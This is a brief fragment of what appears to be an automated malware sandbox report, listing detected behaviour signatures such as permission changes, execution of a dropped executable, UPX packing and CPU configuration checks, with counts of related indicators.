Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 10 IoCs
